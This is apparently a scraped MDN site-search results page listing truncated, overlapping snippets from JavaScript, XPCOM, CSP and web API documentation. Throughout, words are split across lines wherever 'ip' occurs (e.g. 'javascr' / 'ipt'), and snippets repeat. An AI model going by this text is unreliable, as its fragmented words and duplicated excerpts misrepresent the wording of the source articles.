ipt, they are extra work, as you can't use an out parameter directly. you need to wrap them in a temporary o...
... use two of them, like this: "&&". note: some of these interface methods use out and inout parameters. in c++, out parameters are pointers. for javascr
ipt, they are extra work, as you can't use an out parameter directly. you need to wrap them in a temporary object, which can be either empty or have a value property set to the out parameter type. for more information on out parameters and javascr
ipt refer to working with out parameters. implemented by: @mozilla.org/embedcomp/prompt-service;1. ...
...h can be either empty or have a value property set to the out parameter type. for more information on out parameters and javascr
ipt refer to working with out parameters. implemented by: @mozilla.org/embedcomp/prompt-service;1. ...
...And 25 more matches
Strict mode - JavaScript
sometimes you'll see the default, non-strict mode referred to as "sloppy mode". this isn't an official term, but be aware of it, just in case. javascr
ipt's strict mode, introduced in ecmascr
ipt 5, is a way to opt in to a restricted variant of javascr
ipt, thereby implicitly opting-out of "sloppy mode". strict mode isn't just a subset: it intentionally has different semantics from normal code. browsers not supporting strict mode will run strict mode code with different behavior from browsers that do, so don't rely on strict mode without feature-testing for support for the relevant aspects of strict mode. ...
...ly opting-out of "sloppy mode". strict mode isn't just a subset: it intentionally has different semantics from normal code. browsers not supporting strict mode will run strict mode code with different behavior from browsers that do, so don't rely on strict mode without feature-testing for support for the relevant aspects of strict mode. strict mode code and non-strict mode code can coexist, so scr
ipts can opt into strict mode incrementally. strict mode makes several changes to normal javascr
ipt semantics: eliminates some javascr
ipt silent errors by changing them to throw errors. fixes mistakes that make it difficult for javascr
ipt engines to perform optimizations: strict mode code can sometimes be made to run faster than identical code that's not strict mode. prohibits some syntax like...
...it doesn't apply to block statements enclosed in {} braces; attempting to apply it to such contexts does nothing. ...
...And 25 more matches
JavaScript basics - Learn web development
previous overview: getting started with the web next javascr
ipt is a programming language that adds interactivity to your website. this happens in games, in the behavior of responses when buttons are pressed or with data entry on forms; with dynamic styling; with animation, etc. this article helps you get started with javascr
ipt and furthers your understanding of what is possible. what is javascr
ipt? javascr
ipt ("js" for short) is a full-fledged dynamic programming language that can add interactivity to a website. it was invented by brendan eich (co-founder of the mozilla project), the mozilla foundation, and the mozilla corporation. javascr
ipt is versatile and beginner-friendly. with more experience, you'll be able to create games, animated 2d and 3d graphics, comprehensive d...
...is a full-fledged dynamic programming language that can add interactivity to a website. it was invented by brendan eich (co-founder of the mozilla project), the mozilla foundation, and the mozilla corporation. javascr
ipt is versatile and beginner-friendly. with more experience, you'll be able to create games, animated 2d and 3d graphics, comprehensive database-driven apps, and much more! javascr
ipt itself is relatively compact, yet very flexible. ...
...o-founder of the mozilla project), the mozilla foundation, and the mozilla corporation. javascr
ipt is versatile and beginner-friendly. with more experience, you'll be able to create games, animated 2d and 3d graphics, comprehensive database-driven apps, and much more! javascr
ipt itself is relatively compact, yet very flexible. developers have written a variety of tools on top of the core javascr
ipt language, unlocking a vast amount of functionality with minimum effort. these include: browser application programming interfaces (apis) built into web browsers, providing functionality such as dynamically creating html and setting css styles; collecting and man
ipulating a video stream from a user's webcam, or generating 3d graphics and audio samples. third-party apis that allow developers t...
...And 24 more matches
A first splash into JavaScript - Learn web development
previous overview: first steps next now you've learned something about the theory of javascr
ipt, and what you can do with it, we are going to give you a crash course in the basic features of javascr
ipt via a completely practical tutorial. here you'll build up a simple "guess the number" game, step by step. prerequisites: basic computer literacy, a basic understanding of html and css, an understanding of what javascr
ipt is. objective: to have a first bit of experience at writing some javascr
ipt, and gain at least a basic understanding of what writing a javascr
ipt program involves. you won't be expected to understand all of the code in detail immediately -- we just want to introduce you to the high-level concepts for now, and give you an idea of how ja...
...the code syntax looks different, but the concepts are still largely the same. ...
...the code syntax looks different, but the concepts are still largely the same. thinking like a programmer one of the hardest things to learn in programming is not the syntax you need to learn, but how to apply it to solve real world problems. ...
...And 23 more matches
nsIPluginHost
dom/plugins/base/ns
ipluginhost.idlscr
iptable please add a summary to this article. ...
...url); native code only! void createtmpfiletopost(in string apostdataurl, out string atmpfilename); native code only! obsolete since gecko 2.0 void deletepluginnativewindow(in nspluginnativewindowptr apluginnativewindow); native code only! void destroy(); native code only! void findproxyforurl(in string aurl, out string aresult); native code only! ...
... void deletepluginnativewindow(in nspluginnativewindowptr apluginnativewindow); native code only! void destroy(); native code only! void findproxyforurl(in string aurl, out string aresult); native code only! ns
iplugin getplugin(in string amimetype); native code only! void getplugincount(out unsigned long aplugincount); obsolete since gecko 1.8 ns
iplugin getpluginfactory(in string amimetype); native code only! obsolete since gecko 1.9.2 void getpluginname(in ns
iplugininstance ainstance, [shared] out string apluginname); native code only! ns
iplugintag getplugintagforinstance(in ns
iplugininstance ainstance); native code only! void getplugintags([optional] out unsigned long aplugincount, [retval, array, size_is(aplu...
...And 23 more matches
nsIProtocolProxyService
netwerk/base/public/ns
iprotocolproxyservice.idlscr
iptable this interface provides methods to access information about various network proxies. inherits from: nsisupports last changed in gecko 1.7 implemented by: @mozilla.org/network/protocol-proxy-service;1. ...
...protocolproxyservice.idlscr
iptable this interface provides methods to access information about various network proxies. inherits from: nsisupports last changed in gecko 1.7 implemented by: @mozilla.org/network/protocol-proxy-service;1. ...
...nformation about various network proxies. inherits from: nsisupports last changed in gecko 1.7 implemented by: @mozilla.org/network/protocol-proxy-service;1. ...
...And 23 more matches
nsIPushService
dom/interfaces/push/ns
ipushservice.idlscr
iptable a service for components to subscribe and receive push messages from remote servers. inherits from: nsisupports last changed in gecko 46.0 (firefox 46.0 / thunderbird 46.0 / seamonkey 2.43) push lets a remote server send payloads to a web site, add-on, or component running in the browser. ns
ipushservice supports the push api implementation in firefox, and can be used directly from privileged code to create system subscr
iptions. ...
...ds to a web site, add-on, or component running in the browser. ns
ipushservice supports the push api implementation in firefox, and can be used directly from privileged code to create system subscr
iptions. ...
...rts the push api implementation in firefox, and can be used directly from privileged code to create system subscr
iptions. implemented by @mozilla.org/push/service;1 as a service: const pushservice = components.classes["@mozilla.org/push/service;1"] .getservice(components.interfaces.ns
ipushservice); method overview void subscribe(in domstring scope, in ns
iprinc
ipal princ
ipal, in ns
ipushsubscr
iptioncallback callback); void getsubscr
iption(in domstring scope, in ns
iprinc
ipal princ
ipal, in ns
ipushsubscr
iptioncallback callback); void unsubscribe(in domstring scope, in ns
iprinc
ipal princ
ipal, in nsiunsubscriberesultcallback callback); methods subscribe() creates a push subscr
iption. void subscribe( in domstring scope, in n...
...And 23 more matches
Basic math in JavaScript — numbers and operators - Learn web development
previous overview: first steps next at this point in the course we discuss math in javascr
ipt -- how we can use operators and other features to successfully man
ipulate numbers to do our bidding. prerequisites: basic computer literacy, a basic understanding of html and css, an understanding of what javascr
ipt is. objective: to gain familiarity with the basics of math in javascr
ipt. everybody loves math okay, maybe not. some of us like math, some of us have hated math ever since we had to learn mult
iplication tables and long division in school, and some of us sit somewhere in between the two. but none of us can deny that math is a fundamental part of life that we can't get very far without. this is especially true when we are learning to program javas...
... this article discusses only the basic parts that you need to know now. ...
... this article discusses only the basic parts that you need to know now. ...
...And 22 more matches
JS_ExecuteScript
execute a compiled scr
ipt. ...
... execute a compiled scr
ipt. ...
... execute a compiled scr
ipt. ...
...And 22 more matches
Add to iPhoto
this extension for mac os x serves as a demonstration of how to use js-ctypes to call mac os x carbon, core foundation, and other system frameworks from an extension written entirely in javascr
ipt. note: this extension uses carbon routines, which can no longer be used in firefox add-ons now that firefox is a 64-bit application. you can download an installable version of this extension on amo. once installed, when you right-click on an image, you'll see among the options in the contextual menu an option to "add image to
iphoto". choose it, and
iphoto will start up (if it's not already running) and import the image. declaring the apis the first thing we have to do is declare the mac os x apis we'll be using. this extension uses a number of methods and data types, as well as constants, ...
...ee system frameworks. since a lot of this stuff is repetitive, we'll only look at selected parts of the code to get an idea how things work. you can download the extension and poke through the code inside it if you'd like to see all of it. for the sake of organization, i chose to implement each system framework (and, mind you, i only declare the apis i actually use, not all of them) as a javascr
ipt object containing all the types and methods that framework's api. note: in a few cases, this code takes the easy way out by using ctypes.voidptr_t instead of a typed pointer. that's not really the ideal way to do things but saved some time for this simple example. some of this may change as i refine the example in the future; i'll update the article if and when that happens. some global types ...
...ype routines handle memory management, dumping cftype objects to the console, comparing cftype values, and so forth. we'll be using a number of these methods, but for brevity's sake, since these are generally simple declarations, let's look at only the cfrelease() and cfretain() declarations. ...
...And 22 more matches
Using the WebAssembly JavaScript API - WebAssembly
note: you can find the sample code in our webassembly-examples github repo. ...
... note: you can find the sample code in our webassembly-examples github repo. ...
... note: you can find the sample code in our webassembly-examples github repo. preparing the example first we need a wasm module! grab our simple.wasm file and save a copy in a new directory on your local machine. ...
...And 22 more matches
Lexical grammar - JavaScript
this page describes javascr
ipt's lexical grammar. the source text of ecmascr
ipt scr
ipts gets scanned from left to right and is converted into a sequence of input elements which are tokens, control characters, line terminators, comments or white space. ecmascr
ipt also defines certain keywords and literals and has rules for automatic insertion of semicolons to end statements. control characters control characters have no visual representation but are used to control the interpretation of the text. unicode format-control characters code point name abbreviation descr
iption u+200c zero width non-joiner <zwnj> placed between characters to prevent being connected into ligatures in certain languages (wik
ipedia). u+200d zero width joiner <zw...
... white space white space characters improve the readability of source text and separate tokens from each other. these characters are usually unnecessary for the functionality of the code. ...
... white space white space characters improve the readability of source text and separate tokens from each other. these characters are usually unnecessary for the functionality of the code. ...
...And 21 more matches
Learn XPI Installer Scripting by Example - Archive of obsolete content
of this page show the use of the xpinstall api. the majority of this api is now deprecated and as of gecko 1.9 no longer available. extension, theme, and plug-in developers must switch away from install.js based packages to the new packaging scheme with an install.rdf manifest. in particular plugin developers should see how to package a plugin as an extension. this article uses the installer scr
ipt from browser.xpi install package as the basis for discussing xpi installations in general. this installer scr
ipt is relatively short, but it exercises most of the important features of the xpinstall api, and it can easily be used as a template for other more general software installations. in this article, we use the unix install file, but the installers for all the platforms are quite similar, ...
... can easily take what you learn here and apply it to installations on any platform that mozilla supports. about browser.xpi browser.xpi is the xpi archive in which the main components of the mozilla browser are archived for installation. mozilla cross-platform installations use the xpi format as a way to organize, compress, and automate software installations and software updates. ...
...rn here and apply it to installations on any platform that mozilla supports. about browser.xpi browser.xpi is the xpi archive in which the main components of the mozilla browser are archived for installation. mozilla cross-platform installations use the xpi format as a way to organize, compress, and automate software installations and software updates. ...
...And 20 more matches
Manipulating documents - Learn web development
previous overview: client-side web apis next when writing web pages and apps, one of the most common things you'll want to do is man
ipulate the document structure in some way. this is usually done by using the document object model (dom), a set of apis for controlling html and styling information that makes heavy use of the document object. in this article we'll look at how to use the dom in detail, along with some other interesting apis that can alter your environment in interesting ways. prerequisites: basic computer literacy, a basic understanding of html, css, and javascr
ipt -- including javascr
ipt objects. ...
...l look at how to use the dom in detail, along with some other interesting apis that can alter your environment in interesting ways. prerequisites: basic computer literacy, a basic understanding of html, css, and javascr
ipt -- including javascr
ipt objects. objective: to gain familiarity with the core dom apis, and the other apis commonly associated with dom and document man
ipulation the important parts of a web browser web browsers are very complicated pieces of software with a lot of moving parts, many of which can't be controlled or man
ipulated by a web developer using javascr
ipt. you might think that such limitations are a bad thing, but browsers are locked down for good reasons, mostly centering around security. imagine if a web site could get access to yo...
...is still give us access to a lot of functionality that enable us to do a great many things with web pages. there are a few really obvious bits you'll reference regularly in your code -- consider the following diagram, which represents the main parts of a browser directly involved in viewing web pages: the window is the browser tab that a web page is loaded into; this is represented in javascr
ipt by the window object. using methods available on this object you can do things like return the window's size (see window.innerwidth and window.innerheight), man
ipulate the document loaded into that window, store data specific to that document on the client-side (for example using a local database or other storage mechanism), attach an event handler to the current window, and more. the navigator...
...And 20 more matches
Avoiding leaks in JavaScript XPCOM components
was written. e. g. in firefox 3, a cycle collector was introduced and refined in later versions, and mozilla is currently working on a generational garbage collector for js. this article needs to be updated to reflect the changes and the cases where they help. take every information on this site with a grain of salt, although most concepts and best practices still apply. using xpcom in javascr
ipt (also known as xpconnect) is an environment where memory management issues are not obvious. there are no calls to malloc and free and no reference counting. despite this, it's easy to write javascr
ipt code that leaks. it's easy to write leaky code in any garbage-collected language. but it's even easier in this environment because some of the objects you're dealing with are reference-counted behi...
...y management issues are not obvious. there are no calls to malloc and free and no reference counting. despite this, it's easy to write javascr
ipt code that leaks. it's easy to write leaky code in any garbage-collected language. but it's even easier in this environment because some of the objects you're dealing with are reference-counted behind the scenes. programmers writing and reviewing javascr
ipt code in mozilla should understand how code using xpcom in javascr
ipt can leak so that they can avoid leaks. this document attempts to help them do so, first by explaining the underlying concepts, and second by describing a number of common javascr
ipt patterns that cause leaks. basics of memory management creating objects that are not a fixed size for the lifetime of the program (global variabl...
...it leaks. if the programmer accesses the memory after returning it to the heap, the program will access whatever happens to be at that location, and will likely either behave nondeterministically or crash. with this strategy, a single pointer to the object is considered the "owner" of the object and the object is deleted through that pointer. it's difficult to use this strategy when there are mult
iple pointers to a given object and it's uncertain which one will need to last the longest. reference counting reference counting is a simple solution to the problem of allowing mult
iple owners to influence the lifetime of an object. in this strategy, the object has a member that is the number of other objects that "own" it. when this count goes to zero, the object destroys itself. this is the st...
...And 20 more matches
HTMLScriptElement - Web APIs
html <scr
ipt> elements expose the htmlscr
iptelement interface, which provides special properties and methods for man
ipulating the behavior and execution of <scr
ipt> elements (beyond the inherited htmlelement interface). javascr
ipt files should be served with the application/javascr
ipt mime type, but browsers are lenient and block them only if the scr
ipt is served with an image type (image/*), video type (video/*), audio type (audio/*), or text/csv. if the scr
ipt is blocked, its element receives an error event; otherwise, it receives a load event. <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 ...
...,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlelement</text></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><line x1="509" y1="90" x2="492" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlscr
iptelement" target="_top"><rect x="321" y="65" width="170" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="406" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlscr
iptelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits...
...170" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="406" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlscr
iptelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties from its parent, htmlelement. htmlscr
iptelement.type is a domstring representing the mime type of the scr
ipt. it reflects the type attribute. ...
...And 20 more matches
CSP: script-src - HTTP
the http content-security-policy (csp) scr
ipt-src directive specifies valid sources for javascr
ipt. this includes not only urls loaded directly into <scr
ipt> elements, but also things like inline scr
ipt event handlers (onclick) and xslt stylesheets which can trigger scr
ipt execution. csp version 1 directive type fetch directive default-src fallback yes. if this directive is absent, the user agent will look for the default-src directive. ...
...ctly into <scr
ipt> elements, but also things like inline scr
ipt event handlers (onclick) and xslt stylesheets which can trigger scr
ipt execution. csp version 1 directive type fetch directive default-src fallback yes. if this directive is absent, the user agent will look for the default-src directive. syntax one or more sources can be allowed for the scr
ipt-src policy: content-security-policy: scr
ipt-src <source>; content-security-policy: scr
ipt-src <source> <source>; sources <source> can be one of the following: <host-source> internet hosts by name or
ip address, as well as an optional url scheme and/or port number. the site's address may include an optional leading wildcard (the asterisk character, '*'), and you may use a wildcard (again...
...le.com using the current protocol. <scheme-source> a scheme such as http: or https:. the colon is required. unlike other values below, single quotes shouldn't be used. you can also specify data schemes (not recommended). data: allows data: uris to be used as a content source. this is insecure; an attacker can also inject arbitrary data: uris. use this sparingly and definitely not for scr
ipts. mediastream: allows mediastream: uris to be used as a content source. blob: allows blob: uris to be used as a content source. filesystem: allows filesystem: uris to be used as a content source. 'self' refers to the origin from which the protected document is being served, including the same url scheme and port number. you must include the single quotes. some browsers specifically e...
...And 19 more matches
Expressions and operators - JavaScript
<< previousnext >> this chapter describes javascr
ipt's expressions and operators, including assignment, comparison, arithmetic, bitwise, logical, string, ternary and more. a complete and detailed list of operators and expressions is also available in the reference. operators javascr
ipt has the following types of operators. this section describes the operators and contains information about operator precedence. assignment operators comparison operators arithmetic operators bitwise operators logical operators string operators conditional (ternary) operator comma operator unary operators relational operators javascr
ipt has both binary and unary operators, and one special ternary operator, the conditional operator. a binary operator requires two operands, one be...
...that is, x = y assigns the value of y to x. ...
...s before the operation. when chaining these expressions, each assignment is evaluated right-to-left. consider these examples: w = z = x = y is equivalent to w = (z = (x = y)) or x = y; z = y; w = y z += x *= y is equivalent to z += (x *= y) or tmp = x * y; x *= y; z += tmp (except without the tmp). destructuring for more complex assignments, the destructuring assignment syntax is a javascr
ipt expression that makes it possible to extract data from arrays or objects using a syntax that mirrors the construction of array and object literals. var foo = ['one', 'two', 'three']; // without destructuring var one = foo[0]; var two = foo[1]; var three = foo[2]; // with destructuring var [one, two, three] = foo; comparison operators a comparison operator compares its operands and retur...
...And 19 more matches
FIPS Mode - an explanation
they apply to all us government employees and personnel, including soldiers in the armed forces. ...
... they apply to all us government employees and personnel, including soldiers in the armed forces. ...
... they apply to all us government employees and personnel, including soldiers in the armed forces. ...
...And 18 more matches
nsIScriptError
js/xpconnect/idl/nsiscr
ipterror.idlscr
iptable represents javascr
ipt errors and warnings for use by the console service. 66 introduced gecko 1.0 inherits from: nsiconsolemessage last changed in gecko 1.9 (firefox 3) implemented by: @mozilla.org/scr
ipterror;1. to create an instance, use: var scr
ipterror = components.classes["@mozilla.org/scr
ipterror;1"] .createinstance(components.interfaces.nsiscr
ipterror); note: the nsiscr
ipterror2 interface was merged into this interface in gecko 12.0. prior to that release, if you wanted to associate an outer window with a scr
ipt error, you had to use nsiscr
ipterror2 instead. ...
...instance, use: var scr
ipterror = components.classes["@mozilla.org/scr
ipterror;1"] .createinstance(components.interfaces.nsiscr
ipterror); note: the nsiscr
ipterror2 interface was merged into this interface in gecko 12.0. prior to that release, if you wanted to associate an outer window with a scr
ipt error, you had to use nsiscr
ipterror2 instead. that subclass offered the nsiscr
ipterror.initwithwindowid() method for that purpose; that method is now available in this interface, however. method overview void init(in wstring message, in wstring sourcename, in wstring sourceline, in pruint32 linenumber, in pruint32 columnnumber, in pruint32 flags, in string category); void initwithwindowid(in wstring message, in wstring sourcename, in wstring sourceline, i...
...read only. columnnumber pruint32 the column number where the error occurred. this is used to draw the arrow pointing to the problem character. read only. errormessage astring the error message in a string format without any context/line number in...
...And 18 more matches
RTCPeerConnection.setRemoteDescription() - Web APIs
the rtcpeerconnection method setremotedescr
iption() sets the specified session descr
iption as the remote peer's current offer or answer. the descr
iption specifies the properties of the remote end of the connection, including the media format. the method takes a single parameter--the session descr
iption--and it returns a promise which is fulfilled once the descr
iption has been changed, asynchronously. this is typically called after receiving an offer or answer from another peer over the signaling server. keep in mind that if setremotedescr
iption() is called while a connection is already in place, it means renegotiation is underway (possibly to adapt to changing network conditions). ...
...and it returns a promise which is fulfilled once the descr
iption has been changed, asynchronously. this is typically called after receiving an offer or answer from another peer over the signaling server. keep in mind that if setremotedescr
iption() is called while a connection is already in place, it means renegotiation is underway (possibly to adapt to changing network conditions). because descr
iptions will be exchanged until the two peers agree on a configuration, the descr
iption submitted by calling setremotedescr
iption() does not immediately take effect. instead, the current connection configuration remains in place until negotiation is complete. only then does the agreed-upon configuration take effect. ...
...rk conditions). because descr
iptions will be exchanged until the two peers agree on a configuration, the descr
iption submitted by calling setremotedescr
iption() does not immediately take effect. instead, the current connection configuration remains in place until negotiation is complete. only then does the agreed-upon configuration take effect. syntax apromise = rtcpeerconnection.setremotedescr
iption(sessiondescr
iption); parameters sessiondescr
iption an rtcsessiondescr
iptioninit or rtcsessiondescr
iption which specifies the remote peer's current offer or answer. ...
...And 18 more matches
nsIPermissionManager
the ns
ipermissionmanager interface is used to persistently store permissions for different object types (cookies, images, and so on) on a site-by-site basis. netwerk/base/ns
ipermissionmanager.idlscr
iptable please add a summary to this article. ...
...e-by-site basis. netwerk/base/ns
ipermissionmanager.idlscr
iptable please add a summary to this article. ...
...basis. netwerk/base/ns
ipermissionmanager.idlscr
iptable please add a summary to this article. ...
...And 17 more matches
HTML attribute: multiple - HTML: Hypertext Markup Language
the boolean mult
iple attribute, if set, means the form control accepts one or more values. valid for the email and file input types and the <select>, the manner by which the user opts for mult
iple values depends on the form control. depending on the type, the form control may have a different appearance if the mult
iple attribute is set. for the file input type, the native messaging the browser provides differs. in firefox, the file input reads "no files selected" when the attribute is present and "no file selected" when not, when no files are selected. most browsers displaying a scrolling list box for a <select> control with the mult
iple attribute set versus a single line dropdown when the attribute is ommitted. the email input displays the same, but will match the :invalid pseudo-...
... "no file selected" when not, when no files are selected. most browsers displaying a scrolling list box for a <select> control with the mult
iple attribute set versus a single line dropdown when the attribute is ommitted. the email input displays the same, but will match the :invalid pseudo-class if more than one comma-separated email address is included if the attribute is not present. when mult
iple is set on the email input type, the user can inlclude zero (if not also required), one or more comma-separated email addresses. <input type="email" mult
iple name="emails" id="emails"> if and only if the mult
iple attribute is specified, the value can be a list of properly-formed comma-separated e-mail addresses. any trailing and leading whitespace is removed from each address in the list. whe...
...set on the email input type, the user can inlclude zero (if not also required), one or more comma-separated email addresses. <input type="email" mult
iple name="emails" id="emails"> if and only if the mult
iple attribute is specified, the value can be a list of properly-formed comma-separated e-mail addresses. any trailing and leading whitespace is removed from each address in the list. when mult
iple is set on the file input type, the user can select one or more files. the user can choose mult
iple files from the file picker in any way that their chosen platform allows (e.g. by holding down shift or control, and then clicking). ...
...And 17 more matches
Inheritance and the prototype chain - JavaScript
javascr
ipt is a bit confusing for developers experienced in class-based languages (like java or c++), as it is dynamic and does not provide a class implementation per se (the class keyword is introduced in es2015, but is syntactical sugar, javascr
ipt remains prototype-based). when it comes to inheritance, javascr
ipt only has one construct: objects. each object has a private property which holds a link to another object called its prototype. that prototype object has a prototype of its own, and so on until an object is reached with null as its prototype. by definition, null has no prototype, and acts as the final link in this prototype chain. nearly all objects in javascr
ipt are instances of object which sits on the top of a prototype chain. while this confusion is often considered to be ...
...r object called its prototype. that prototype object has a prototype of its own, and so on until an object is reached with null as its prototype. by definition, null has no prototype, and acts as the final link in this prototype chain. nearly all objects in javascr
ipt are instances of object which sits on the top of a prototype chain. while this confusion is often considered to be one of javascr
ipt's weaknesses, the prototypal inheritance model itself is, in fact, more powerful than the classic model. it is, for example, fairly trivial to build a classic model on top of a prototypal model. inheritance with the prototype chain inheriting properties javascr
ipt objects are dynamic "bags" of properties (referred to as own properties). javascr
ipt objects have a link to a prototype object. wh...
...of properties (referred to as own properties). javascr
ipt objects have a link to a prototype object. when trying to access a property of an object, the property will not only be sought on the object but on the prototype of the object, the prototype of the prototype, and so on until either a property with a matching name is found or the end of the prototype chain is reached. following the ecmascr
ipt standard, the notation someobject.[[prototype]] is used to designate the prototype of someobject. since ecmascr
ipt 2015, the [[prototype]] is accessed using the accessors object.getprototypeof() and object.setprototypeof(). this is equivalent to the javascr
ipt property __proto__ which is non-standard but de-facto implemented by many browsers. it should not be confused with the func.prototype pr...
...And 17 more matches
Introduction to the JavaScript shell
the javascr
ipt shell (js) is a command-line program included in the spidermonkey source distribution. it is the javascr
ipt equivalent of python's interactive prompt, the lisp read-eval-print loop, or ruby's irb. this article explains how to use the shell to experiment with javascr
ipt code and run javascr
ipt programs. to get the spidermonkey javascr
ipt shell, see the spidermonkey build documentation or download a compiled binary for your platform from the nightly builds. for a list of other javascr
ipt shells, see javascr
ipt shells. note: starting with spidermonkey 44 (firefox 44 / thunderbird 44 / seamonkey 2.41), the standard, web-compatible javascr
ipt version is used by default (and not js1.7+ anymore). the version() shell builtin is still there for testing legacy features. running...
...oad a compiled binary for your platform from the nightly builds. for a list of other javascr
ipt shells, see javascr
ipt shells. note: starting with spidermonkey 44 (firefox 44 / thunderbird 44 / seamonkey 2.41), the standard, web-compatible javascr
ipt version is used by default (and not js1.7+ anymore). the version() shell builtin is still there for testing legacy features. running the javascr
ipt shell the shell offers two modes of operation. you can use it as an interactive shell, in which you type javascr
ipt code at a prompt and get instant gratification, which is handy for experimenting or testing new features. you can also pass in, on the command line, a javascr
ipt program file to run, in which case the program is run automatically. after following the build documentation and insta...
...documentation and installing the built shell using make install, you can run the shell in interactive mode using the command: js [ if you get " symbol lookup error: ./js: undefined symbol: pr_setcurrentthreadname" e.g. from a bash console when using a pre-compiled binary, try <path to your firefox's run-mozilla.sh>/run-mozilla.sh ./js -- that worked for me] if you'd like to run the javascr
ipt code in the file foo.js, you can use this command: js foo.js to run foo.js then drop into the interactive shell, do this: js -f foo.js -i reference note: because the javascr
ipt shell is used as a test environment for the javascr
ipt engine, the available options and built-in functions can change over time. command line options there are a number of command line options you can specify to...
...And 16 more matches
Places utilities for JavaScript
ted. there are several predefined versions of this for common calls. these just take in the node, as the interface is already defined: asvisit(anode) asfullvisit(anode) ascontainer(anode) asquery(anode) annotations a few annotation names are defined here. load_in_sidebar_anno - this annotation is associated with bookmarks or items that should load in the sidebar automatically. descr
iption_anno - this annotation stores descr
iption information about a bookmark. post_data_anno - i need to clarify here, but i think this is the name of the annotation that stores information for keyword searches from a bookmark. lmanno_feeduri - need to clarify here too, but i think for each livemark, there is an bookmark which contains an annotation storing the associated feed uri. lmanno_siteur...
...ng atype, nsiuri aoverrideuri); array unwrapnodes(string blob, string atype); nsitransaction maketransaction(string data, string type, nsinavhistoryresultnode container, int index, boolean copy); nsinavhistoryresult getfoldercontents(int afolderid, boolean aexcludeitems, boolean aexpandqueries); boolean showaddbookmarkui(nsiuri auri, string atitle, string adescr
iption, int adefaultinsertionpoint, boolean ashowpicker, boolean aloadinsidebar, string akeyword, string apostdata); boolean showminimaladdbookmarkui(nsiuri auri, string atitle, string adescr
iption, int adefaultinsertionpoint, boolean ashowpicker, boolean aloadinsidebar, string akeyword, string apostdata); boolean showaddlivemarkui(nsiuri afeeduri, nsiuri asiteuri, string atitle, s...
...efaultinsertionpoint, boolean ashowpicker, boolean aloadinsidebar, string akeyword, string apostdata); boolean showminimaladdbookmarkui(nsiuri auri, string atitle, string adescr
iption, int adefaultinsertionpoint, boolean ashowpicker, boolean aloadinsidebar, string akeyword, string apostdata); boolean showaddlivemarkui(nsiuri afeeduri, nsiuri asiteuri, string atitle, string adescr
iption, int adefaultinsertionpoint, boolean ashowpicker); boolean showminimaladdlivemarkui(nsiuri afeeduri, nsiuri asiteuri, string atitle, string adescr
iption, int adefaultinsertionpoint, boolean ashowpicker); boolean showminimaladdmultibookmarkui(array nsiuri aurilist); boolean showbookmarkproperties(int aid); boolean showfolderproperties(int aid); bool...
...And 16 more matches
nsIScriptableInputStream
inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method overview unsigned long available(); void close(); void init(in nsiinputstream ainputstream); string read(in unsigned long acount); acstring readbytes(in unsigned long acount); methods available() return the number of bytes currently available in the stream. note: this method should not be used to determine the total size of a stream, even if the stream corresponds to a local file. ...
...the underlying data source. unsigned long available(); parameters none. return value the number of bytes. exceptions thrown ns_base_stream_closed if called after the stream has been closed. close() closes the stream. note: the close method may be called more than once, but subsequent calls are ignored. void close(); parameters none. init() wrap the given nsiinputstream with this nsiscr
iptableinputstream. note: the init method may be called more than once, allowing a nsiscr
iptableinputstream instance to be reused. void init( in nsiinputstream ainputstream ); parameters ainputstream the nsiinputstream to be wrapped. read() read data from the stream. warning: if the data contains a null byte, then this method will return a truncated string. note: it is also import...
...ad() read data from the stream. warning: if the data contains a null byte, then this method will return a truncated string. note: it is also important to consider how a language bindings may interpret the string data type. in particular, some bindings may convert the byte values into unicode code points, by assuming the byte values are encoded as iso-latin-1. this is the case for the javascr
ipt bindings. string read( in unsigned long acount ); parameters acount the maximum number of bytes to read from the stream. return value the data read as a string, which will be an empty string if the stream is at eof. exceptions thrown ns_error_not_initialized if init() was not called. ns_base_stream_closed if called after the stream has been closed. ns_base_strea...
...And 16 more matches
throw - JavaScript
k in the call stack. if no catch block exists among caller functions, the program will terminate. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax throw expression; expression the expression to throw. descr
iption use the throw statement to throw an exception. when you throw an exception, expression specifies the value of the exception. each of the following throws an exception: throw 'error2'; // generates an exception with a string value throw 42; // generates an exception with the value 42 throw true; // generates an exception with the value true throw new error('required'); // generate...
... new userexception('invalidmonthno'); } } try { // statements to try var mymonth = 15; // 15 is out of bound to raise the exception var monthname = getmonthname(mymonth); } catch (e) { monthname = 'unknown'; console.error(e.message, e.name); // pass exception object to err handler } another example of throwing an object the following example tests an input string for a u.s. ...
...n('invalidmonthno'); } } try { // statements to try var mymonth = 15; // 15 is out of bound to raise the exception var monthname = getmonthname(mymonth); } catch (e) { monthname = 'unknown'; console.error(e.message, e.name); // pass exception object to err handler } another example of throwing an object the following example tests an input string for a u.s. z
ip code. if the z
ip code uses an invalid format, the throw statement throws an exception by creating an object of type z
ipcodeformatexception. /* * creates a z
ipcode object. * * accepted formats for a z
ip code are: * 12345 * 12345-6789 * 123456789 * 12345 6789 * * if the argument passed to the z
ipcode constructor does not * conform to one of these patterns, an exception is thrown. */ functio...
...And 16 more matches
JavaScript Object Management - Archive of obsolete content
namespace declaration is best located in a file of its own, so that you have this one js file that should be included in all of your xul files. we'll be using the placeholder <namespace> below. ...
...namespace declaration is best located in a file of its own, so that you have this one js file that should be included in all of your xul files. we'll be using the placeholder <namespace> below. ...
